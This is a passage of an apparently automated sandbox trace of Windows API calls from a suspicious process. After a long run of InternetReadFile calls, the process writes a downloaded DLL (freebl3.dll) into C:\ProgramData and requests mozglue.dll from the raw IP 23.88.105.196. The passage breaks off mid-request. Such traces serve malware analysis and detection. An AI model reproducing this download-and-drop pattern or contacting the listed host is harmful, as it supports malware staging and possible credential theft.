[0095.455] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f5ae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f5ae0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.455] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f5ec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f5ec8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.455] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f62b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f62b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.455] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f6698, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f6698*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.456] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f6a80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f6a80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.456] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f6e68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f6e68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.456] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f7250, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f7250*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.456] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f7638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f7638*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.456] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f7a20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f7a20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.457] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f7e08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f7e08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.457] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f81f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f81f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.457] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f85d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f85d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.457] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f89c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f89c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.457] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f8da8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f8da8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.457] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f9190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f9190*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.458] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f9578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f9578*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.458] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f9960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f9960*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.458] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33f9d48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33f9d48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.458] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33fa130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33fa130*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.458] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33fa518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33fa518*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.458] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33fa900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33fa900*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.459] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33face8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33face8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.459] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33fb0d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33fb0d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.459] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33fb4b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33fb4b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.459] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33fb8a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33fb8a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.459] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33fbc88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33fbc88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.459] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33fc070, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33fc070*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.460] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33fc458, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33fc458*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.460] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x34800) returned 0x3430048 [0095.464] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33cf980 | out: hHeap=0x2110000) returned 1 [0095.466] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345cf08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345cf08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.467] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345d2f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345d2f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.467] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345d6d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345d6d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.467] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345dac0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345dac0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.467] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345dea8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345dea8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.467] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345e290, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345e290*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.468] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345e678, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345e678*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.468] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345ea60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345ea60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.468] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345ee48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345ee48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.468] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345f230, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345f230*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.468] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345f618, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345f618*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.468] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345fa00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345fa00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.469] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345fde8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345fde8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.469] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34601d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34601d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.469] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34605b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34605b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.469] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34609a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34609a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.469] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3460d88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3460d88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.469] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3461170, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3461170*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.470] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3461558, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3461558*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.470] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3461940, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3461940*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.470] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3461d28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3461d28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.470] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3462110, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3462110*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.470] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34624f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34624f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.470] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34628e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34628e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.470] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3462cc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3462cc8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.471] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34630b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34630b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.471] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3463498, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3463498*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.471] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3463880, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3463880*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.471] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3463c68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3463c68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.471] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3464050, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3464050*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.471] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3464438, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3464438*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.472] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3c000) returned 0x33aa170 [0095.476] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0095.478] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33de948, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33de948*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.479] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33ded30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33ded30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.479] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33df118, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33df118*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.479] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33df500, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33df500*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.479] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33df8e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33df8e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.479] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33dfcd0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33dfcd0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.479] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e00b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e00b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.480] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e04a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e04a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.480] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e0888, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e0888*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.480] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e0c70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e0c70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.480] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e1058, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e1058*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.480] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e1440, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e1440*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.480] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e1828, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e1828*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.481] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e1c10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e1c10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.481] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e1ff8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e1ff8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.481] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e23e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e23e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.481] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e27c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e27c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.481] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e2bb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e2bb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.481] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e2f98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e2f98*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.481] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e3380, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e3380*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.482] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e3768, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e3768*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.482] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e3b50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e3b50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.482] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e3f38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e3f38*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.482] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e4320, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e4320*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.482] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e4708, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e4708*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.482] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e4af0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e4af0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.482] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e4ed8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e4ed8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.483] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e52c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e52c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.485] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e56a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e56a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.485] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33e5a90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33e5a90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.485] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x43800) returned 0x3430048 [0095.491] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa170 | out: hHeap=0x2110000) returned 1 [0095.494] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346bd50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346bd50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.494] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346c138, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346c138*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.494] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346c520, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346c520*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.494] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x346c908, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x346c908*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.513] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0 | out: lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0) returned 0 [0095.513] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0095.513] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0095.513] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0095.513] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111068 | out: hHeap=0x2110000) returned 1 [0095.513] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0095.513] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111040 [0095.513] CreateFileA (lpFileName="C:\\ProgramData\\\\freebl3.dll" (normalized: "c:\\programdata\\freebl3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28 [0095.514] WriteFile (in: hFile=0x28, lpBuffer=0x3430048*, nNumberOfBytesToWrite=0x519d0, lpNumberOfBytesWritten=0x19f7cc, lpOverlapped=0x0 | out: lpBuffer=0x3430048*, lpNumberOfBytesWritten=0x19f7cc*=0x519d0, lpOverlapped=0x0) returned 1 [0095.521] CloseHandle (hObject=0x28) returned 1 [0095.530] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0095.530] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111040 [0095.530] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111068 [0095.530] GetLastError () returned 0x0 [0095.530] SetLastError (dwErrCode=0x0) [0095.530] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0095.530] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f770, dwBufferLength=0x4) returned 1 [0095.530] InternetConnectA (hInternet=0xcc0004, lpszServerName="23.88.105.196", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0095.530] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/mozglue.dll", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0095.530] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21111c0 [0095.530] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0095.530] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0095.530] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0095.530] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, 